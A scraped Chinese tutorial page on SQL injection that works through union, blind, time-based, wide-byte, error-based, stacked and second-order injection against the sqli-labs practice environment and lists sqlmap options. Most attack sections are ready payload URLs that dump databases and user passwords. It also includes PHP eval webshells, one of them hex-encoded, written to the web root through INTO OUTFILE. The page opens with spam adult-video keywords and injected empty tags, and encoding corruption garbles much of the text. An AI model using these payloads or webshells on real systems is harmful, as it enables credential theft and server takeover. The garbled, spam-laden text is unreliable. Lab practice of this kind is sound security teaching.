久久久久久久视色,久久电影免费精品,中文亚洲欧美乱码在线观看,在线免费播放AV片

<center id="vfaef"><input id="vfaef"><table id="vfaef"></table></input></center>

    <p id="vfaef"><kbd id="vfaef"></kbd></p>

    
    
    <pre id="vfaef"><u id="vfaef"></u></pre>

      <thead id="vfaef"><input id="vfaef"></input></thead>

    1. 站長資訊網(wǎng)
      最全最豐富的資訊網(wǎng)站

      歸納整理常見SQL注入類型以及原理

      本篇文章給大家?guī)砹岁P(guān)于SQL的相關(guān)知識(shí),其中主要介紹了常見的SQL注入類型的介紹以及原理講解,包括了聯(lián)合注入、布爾盲注、時(shí)間注入、報(bào)錯(cuò)注入等等內(nèi)容,下面一起來看一下,希望對(duì)大家有幫助。

      歸納整理常見SQL注入類型以及原理

      推薦學(xué)習(xí):《SQL教程》

      Mysql基礎(chǔ)

      Mysql安裝
      這里我們直接使用phpstudy集成環(huán)境中的mysql

      Mysql常用命令
      (1)mysql本地連接

      mysql -h localhost -uroot –proot

      參數(shù) 說明
      -h 表示數(shù)據(jù)庫連接地址,連接本機(jī)可不填,直接mysql -uroot -p
      -u 表示要登錄的用戶
      -p 表示使用密碼登錄
      默認(rèn)賬/密:root/root
      注:登錄mysql時(shí),-p后面不能有空格加密碼,但-p空格,后面不加值是可以的

      (2)查看所有數(shù)據(jù)庫

      show databases;

      (3)使用數(shù)據(jù)庫,注意sql語句后面要加分號(hào)

      use 數(shù)據(jù)庫名;

      (4)查看當(dāng)前數(shù)據(jù)庫中的表

      show tables;

      (5)查看表中字段結(jié)構(gòu),不爆出內(nèi)容

      describe 表名;

      (6)查看表中所有字段及內(nèi)容(前提已經(jīng)use了數(shù)據(jù)庫)

      select * from 表名;

      (7)向指定目錄,如C:WWW目錄中寫入peak.php一句話木馬

      select "<?php @eval($_REQUEST[peak]);?>" into outfile "C:\WWW\peak.php";

      select 0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e into outfile"C:\WWW\peak.php";

      注:
      要使用兩個(gè),兩個(gè)到目標(biāo)服務(wù)器后變?yōu)橐粋€(gè),若使用C:WWWpeak.php,執(zhí)行后會(huì)在MYSQLdata目錄下生成WWWpeak.php文件,不是指定目錄
      另外,使用Hex編碼時(shí),不要加""了

      (8)創(chuàng)建數(shù)據(jù)庫

      create database peak;

      (9)刪除數(shù)據(jù)庫

      drop database 庫名;

      (10)清空表

      delete from 表名;

      (11)修改root密碼

      mysqladmin -uroot -p password 新密碼

      之后輸入原密碼,即會(huì)修改成功

      (12)查詢當(dāng)前數(shù)據(jù)庫所在目錄

      select @@basedir;

      (13)創(chuàng)建數(shù)據(jù)庫

      CREATE DATABASE [IF NOT EXISTS] <數(shù)據(jù)庫名>

      (14)創(chuàng)建表

      CREATE TABLE table_name (column_name column_type);

      (15)創(chuàng)建字段

      INSERT INTO users (字段名) VALUES (“字段值");

      (16)刪除表中數(shù)據(jù)

      DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

      關(guān)鍵信息剖析
      (1)information_schema

      在MySQL中,把 information_schema 看作是一個(gè)數(shù)據(jù)庫,確切說是信息數(shù)據(jù)庫。其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等

      (2)information_schema數(shù)據(jù)庫表常見參數(shù)說明:

      ? SCHEMATA表:提供了當(dāng)前mysql實(shí)例中所有數(shù)據(jù)庫的信息。是show databases的結(jié)果取之此表。 ? TABLES表:提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)。詳細(xì)表述了某個(gè)表屬于哪個(gè)schema,表類型,表引擎,創(chuàng)建時(shí)間等信息。是show tables from schemaname的結(jié)果取之此表。 ? COLUMNS表:提供了表中的列信息。詳細(xì)表述了某張表的所有列以及每個(gè)列的信息。是show columns from schemaname.tablename的結(jié)果取之此表。

      sql-labs環(huán)境搭建

      靶場環(huán)境:
      https://github.com/Audi-1/sqli-labs

      SQL注入原理

      什么是SQL注入?
      SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結(jié)構(gòu),從而達(dá)到執(zhí)行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會(huì)導(dǎo)致整個(gè)數(shù)據(jù)庫被"脫褲"。盡管如此,SQL注入仍是現(xiàn)在最常見的Web漏洞之一

      SQL注入步驟
      (1)判斷是否存在注入,注入是字符型還是數(shù)字型
      (2)猜解SQL查詢語句中的字段數(shù)
      (3)判斷哪些位置字段可以注入利用
      (4)查詢數(shù)據(jù)庫(當(dāng)前使用數(shù)據(jù)庫或所有數(shù)據(jù)庫)
      (5)查詢指定數(shù)據(jù)庫中的表
      (6)查詢指定表中的字段名
      (7)查詢表中字段的值

      常見SQL注入類型(細(xì)分七種類型)

      可以將SQL注入分為兩大類:
      非盲注和盲注,非盲注就是有報(bào)錯(cuò)回顯,盲注就是沒有報(bào)錯(cuò)回顯

      常見的SQL注入方法有:

      • 聯(lián)合注入
      • 布爾盲注
      • 時(shí)間盲注
      • 寬字節(jié)注入
      • 報(bào)錯(cuò)注入
      • 堆疊注入
      • 二次注入

      數(shù)字型/字符型注入判斷
      首先id后面加單引號(hào) 查看是否可能存在sql注入,返回正常,不存在;返回不正常,存在

      假設(shè)ip/?id=1

      數(shù)字型,參數(shù)沒有被引號(hào)包圍:
      id=1 and 1=1 返回頁面正常
      id=1 and 1=2 返回頁面不正常
      id=1’ and ‘1’=‘1 返回頁面不正常
      id=1’ and ‘1’=‘2 返回頁面不正常
      字符型,參數(shù)被引號(hào)包圍:
      id=1 and 1=1 返回頁面正?;蝈e(cuò)誤
      id=1 and 1=2 返回頁面正常或錯(cuò)誤
      id=1’ and ‘1’=‘1 返回頁面正常
      id=1’ and ‘1’='2 返回頁面不正常
      總結(jié)出兩種測試方法:
      and 1=1正常,1=2不正常,可能存在數(shù)字型注入/and 1=1正?;蝈e(cuò)誤,1=2正?;蝈e(cuò)誤,可能存在字符型注入
      ’ and ‘1’=‘1不正常,’ and ‘1’=‘2不正常,可能存在數(shù)字行注入/’ and ‘1’=‘1正常,’ and ‘1’='2不正常,可能存在字符型注入

      0x01:聯(lián)合注入

      原理
      (1)union select定義
      將多個(gè)SELECT語句的結(jié)果合并到一個(gè)結(jié)果集中
      (2)mysql直觀測試

      SELECT * FROM users WHERE id='1' union select * from users where id=2;

      測試環(huán)境
      Pass-1

      相關(guān)函數(shù)

      • group_concat(參數(shù)1,參數(shù)2,參數(shù)3等等無數(shù)個(gè)參數(shù))語法: group_concat函數(shù)返回一個(gè)字符串結(jié)果(就是返回一行),該結(jié)果由括號(hào)中的各個(gè)參數(shù)值執(zhí)行然后連接組合而成
      • char():還原ASCII碼為字符

      注入過程
      1、首先判斷目標(biāo)是否存在sql注入,是什么類型的sql注入

      http://127.0.0.1/sqli-labs/Less-1/?id=1                       //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1'	          //返回錯(cuò)誤,可能存在SQL注入 http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1        //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2        //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1       //返回錯(cuò)誤 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2       //返回錯(cuò)誤  由此可見,$id后面可能還有sql語句 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回錯(cuò)誤 由此可見,目標(biāo)存在sql注入,并且是字符型,該id變量后面還有其他的sql語句 此時(shí)我們看一下源碼,是否是字符型

      2、測試步驟
      (1)使用union select猜測目標(biāo)SQL查詢語句中select后面的字段數(shù)量,同時(shí)也測出了目標(biāo)哪些位置的字段可以繼續(xù)利用

      (2)判斷方法:回顯錯(cuò)誤表示不止當(dāng)前字段數(shù),回顯正確表示就是這么多字段數(shù)
      Payload:http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23
      注:這里的and 1=2是為了就將正確的id=1不顯示,返回錯(cuò)誤,顯示后面union select語句的值,因?yàn)橛袝r(shí)目標(biāo)網(wǎng)站設(shè)置只回顯一條數(shù)據(jù)庫語句,容易造成判斷失誤
      結(jié)果:這里SQL查詢語句中select后面的字段數(shù)量是3個(gè),2,3字段可以利用

      (3)Payload

      http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

      (4)拓展
      還有一種方法,order by判斷字段數(shù)

      http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 order by 1%23

      具體情況具體分析

      0x02:布爾盲注

      原理
      Web的頁面的僅僅會(huì)返回True和False,那么布爾盲注就是根據(jù)頁面返回的True或者是False來得到數(shù)據(jù)庫中的相關(guān)信息

      測試環(huán)境
      Pass-8

      相關(guān)函數(shù)解析
      (1)length:返回值為字符串的字節(jié)長度
      (2)ascii:把字符轉(zhuǎn)換成ascii碼值的函數(shù)
      (3)substr(str, pos, len):在str中從pos開始的位置(起始位置為1),截取len個(gè)字符
      (4)count:統(tǒng)計(jì)表中記錄的一個(gè)函數(shù),返回匹配條件的行數(shù)
      (5)limit:
      limit m :檢索前m行數(shù)據(jù),顯示1-10行數(shù)據(jù)(m>0)
      limit(x,y):檢索從x+1行開始的y行數(shù)據(jù)

      注入過程
      1、判斷數(shù)據(jù)庫名稱長度

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23

      2、猜解數(shù)據(jù)庫名

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23

      3、判斷數(shù)據(jù)庫中表的數(shù)量

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

      4、猜解其中第四個(gè)表名的長度

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

      5、猜解第四個(gè)表名

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23 第四個(gè)表名為users

      6、判斷users表中字段數(shù)量

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

      7、判斷第二個(gè)字段長度

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

      8、猜解第二個(gè)字段名稱

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23 ... 第二個(gè)字段名稱為username 注:substr(參數(shù)1,參數(shù)2,參數(shù)3),參數(shù)2中0和1都可表示從第一位字符開始,但這里只可以用1,0不可以,可能和數(shù)據(jù)庫版本有關(guān)

      9、猜解指定字段中值的數(shù)量

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23

      10、猜解第一個(gè)字段中第一個(gè)值的長度

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

      11、猜解第一個(gè)字段中第一個(gè)值的名稱

      http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23 ... 最后的值為Dumb

      0x03:時(shí)間盲注

      原理
      時(shí)間盲注的一般思路是延遲注入,就是利用sleep()或benchmark()等函數(shù)讓mysql執(zhí)行時(shí)間變長并結(jié)合判斷條件語句if(expr1,expr2,expr3),然后通過頁面的響應(yīng)時(shí)間長短來判斷語句返回的值是True還是False,從而猜解一些未知的字段

      測試環(huán)境
      Less-9

      相關(guān)函數(shù)
      if(expr1,expr2,expr3): expr1的值為TRUE,則返回值為expr2 ;expr1的值為FALSE,則返回值為expr3
      sleep(n):延遲響應(yīng)時(shí)間n秒

      Payload

      http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(4),null)%23 http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23 http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

      0x04:寬字節(jié)注入

      原理
      當(dāng)存在寬字節(jié)注入的時(shí)候,注入?yún)?shù)里帶入%df%27,即可把(%5c)吃掉,也就是%df和%5c結(jié)合成了漢字運(yùn)

      測試環(huán)境
      Pass-32

      Payload

      http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

      0x05:報(bào)錯(cuò)注入

      原理
      報(bào)錯(cuò)注入是通過特殊函數(shù)錯(cuò)誤使用并使其輸出錯(cuò)誤結(jié)果來獲取信息的。

      測試環(huán)境
      Pass-5

      相關(guān)函數(shù)

      concat()函數(shù):用于將多個(gè)字符串連接成一個(gè)字符串 floor(x) 函數(shù):返回小于 x 的最大整數(shù)值 rand()函數(shù)調(diào):用可以在0和1之間產(chǎn)生一個(gè)隨機(jī)數(shù) group by語句:根據(jù)一個(gè)或多個(gè)列對(duì)結(jié)果集進(jìn)行分組 updatexml(目標(biāo)xml文檔,xml路徑,更新的內(nèi)容):更新xml文檔的函數(shù),xpath_expr: 需要更新的xml路徑(Xpath格式) new_xml: 更新后的內(nèi)容 此函數(shù)用來更新選定XML片段的內(nèi)容,將XML標(biāo)記的給定片段的單個(gè)部分替換為 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達(dá)式匹配。 extractvalue(目標(biāo)xml文檔,xml路徑):對(duì)XML文檔進(jìn)行查詢的函數(shù),一個(gè)XML標(biāo)記片段 xml_frag和一個(gè)XPath表達(dá)式 xpath_expr(也稱為 定位器); 它返回CDATA第一個(gè)文本節(jié)點(diǎn)的text(),該節(jié)點(diǎn)是XPath表達(dá)式匹配的元素的子元素。第一個(gè)參數(shù)可以傳入目標(biāo)xml文檔,第二個(gè)參數(shù)是用Xpath路徑法表示的查找路徑,第二個(gè)參數(shù) xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會(huì)報(bào)錯(cuò),并且會(huì)返回我們寫入的非法格式內(nèi)容,而這個(gè)非法的內(nèi)容就是我們想要查詢的內(nèi)容

      參考
      https://blog.51cto.com/wt7315/1891458

      0x05-1:floor報(bào)錯(cuò)注入

      Payload

      http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

      0x05-2:updatexml報(bào)錯(cuò)注入

      Payload

      http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

      0x05-3:extractvalue報(bào)錯(cuò)注入

      Payload

      http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

      0x06:堆疊注入

      原理
      堆疊注入與受限于select語句的聯(lián)合查詢法相反,堆疊注入可用于執(zhí)行任意SQL語句。簡單地說就是MYSQL的多語句查詢
      堆疊注入的局限性:堆疊注入并不是在任何換環(huán)境下都可以執(zhí)行的,可能受到API或者數(shù)據(jù)庫引擎不支持的限制(如Oracle數(shù)據(jù)庫),也有可能權(quán)限不足。web系統(tǒng)中,因?yàn)榇a通常只返回一個(gè)查詢結(jié)果,因此堆疊注入第二個(gè)語句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們?cè)谇岸私缑媸菬o法看到返回結(jié)果的。

      測試環(huán)境
      Pass-38

      Payload

      http://127.0.0.1/sqli-labs/Less-38/?id=1';create database peak%23

      0x07:二次注入

      原理
      二次注入可以理解為,攻擊者構(gòu)造的惡意數(shù)據(jù)存儲(chǔ)在數(shù)據(jù)庫后,惡意數(shù)據(jù)被讀取并進(jìn)入到SQL查詢語句所導(dǎo)致的注入。防御者可能在用戶輸入惡意數(shù)據(jù)時(shí)對(duì)其中的特殊字符進(jìn)行了轉(zhuǎn)義處理,但在惡意數(shù)據(jù)插入到數(shù)據(jù)庫時(shí)被處理的數(shù)據(jù)又被還原并存儲(chǔ)在數(shù)據(jù)庫中(比如雖然參數(shù)在過濾后會(huì)添加"“進(jìn)行轉(zhuǎn)義,但是”"并不會(huì)插入到數(shù)據(jù)庫中),當(dāng)Web程序調(diào)用存儲(chǔ)在數(shù)據(jù)庫中的惡意數(shù)據(jù)并執(zhí)行SQL查詢時(shí),就發(fā)生了SQL二次注入。
      二次注入,可以概括為以下兩步:

      第一步:插入惡意數(shù)據(jù)
      進(jìn)行數(shù)據(jù)庫插入數(shù)據(jù)時(shí),對(duì)其中的特殊字符進(jìn)行了轉(zhuǎn)義處理,在寫入數(shù)據(jù)庫的時(shí)候又保留了原來的數(shù)據(jù)。

      第二步:引用惡意數(shù)據(jù)
      開發(fā)者默認(rèn)存入數(shù)據(jù)庫的數(shù)據(jù)都是安全的,在進(jìn)行查詢時(shí),直接從數(shù)據(jù)庫中取出惡意數(shù)據(jù),沒有進(jìn)行進(jìn)一步的檢驗(yàn)的處理。

      歸納整理常見SQL注入類型以及原理
      測試環(huán)境
      Pass-24

      Payload
      (1)先創(chuàng)建一個(gè)含有注釋符的用戶 amin’#
      (2)看下數(shù)據(jù)庫,成功添加了記錄
      (3)源碼sql語句分析:

      原SQL語句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 修改密碼sql語句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' 最后真正執(zhí)行的sql語句:UPDATE users SET PASSWORD=‘$pass’ where username='admin'

      (4)最后修改admin’#的密碼
      (5)成功修改admin的密碼

      SQL注入-文件讀寫

      原理
      利用文件的讀寫權(quán)限進(jìn)行注入,它可以寫入一句話木馬,也可以讀取系統(tǒng)文件的敏感信息

      利用條件
      secure_file_priv這個(gè)參數(shù)用來限制數(shù)據(jù)導(dǎo)入和導(dǎo)出
      secure_file_priv=
      代表對(duì)文件讀寫沒有限制
      secure_file_priv=NULL
      代表不能進(jìn)行文件讀寫
      secure_file_priv=F:
      代表只能對(duì)該路徑下文件進(jìn)行讀寫

      查看方法:show global variables like ‘%secure%’;
      修改方法:my.ini函數(shù),沒有的話就直接添加

      相關(guān)函數(shù)
      load_file():讀取文件
      into outfile:寫入文件

      測試環(huán)境
      Pass-1

      讀文件
      http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:1.txt’),3%23

      寫文件
      http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’<?php @eval($_POST["cmd"]);?>’,3 into outfile ‘F:2.php’%23

      sqlmap常見參數(shù)

      sqlmap下載地址
      http://sqlmap.org/

      常用參數(shù)

      -u:指定含有參數(shù)的URL --dbs:爆出數(shù)據(jù)庫 --batch:默認(rèn)選擇執(zhí)行 --random-agent:使用隨機(jī)user-agent -r:POST注入 --level:注入等級(jí),一共有5個(gè)等級(jí)(1-5) 不加 level 時(shí),默認(rèn)是1,5級(jí)包含的payload最多,會(huì)自動(dòng)破解出cookie、XFF等頭部注入,相對(duì)應(yīng)他的速度也比較慢 --timeout:設(shè)定重試超時(shí) --cookie:設(shè)置cookie信息 --flush-session:刪除指定目標(biāo)緩存,重新對(duì)該目標(biāo)進(jìn)行測試 --tamper:使用waf繞過腳本 --time-sec:設(shè)定延時(shí)時(shí)間,默認(rèn)是5秒 --thread:多線程,默認(rèn)為1,最大為10 --keep-live: sqlmap默認(rèn)是一次連接成功后馬上關(guān)閉;HTTP報(bào)文中相當(dāng)于Connection: Close(一次連接馬上關(guān)閉)。要掃描站點(diǎn)的URL比較多時(shí),這樣比較耗費(fèi)性能,所以需要將HTTP連接持久化來提高掃描性能;HTTP報(bào)文相當(dāng)于Connection: Keep-Alive

      示例

      py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --dbs --random-agent --batch

      推薦學(xué)習(xí):《SQL教程》

      贊(0)
      分享到: 更多 (0)
      網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)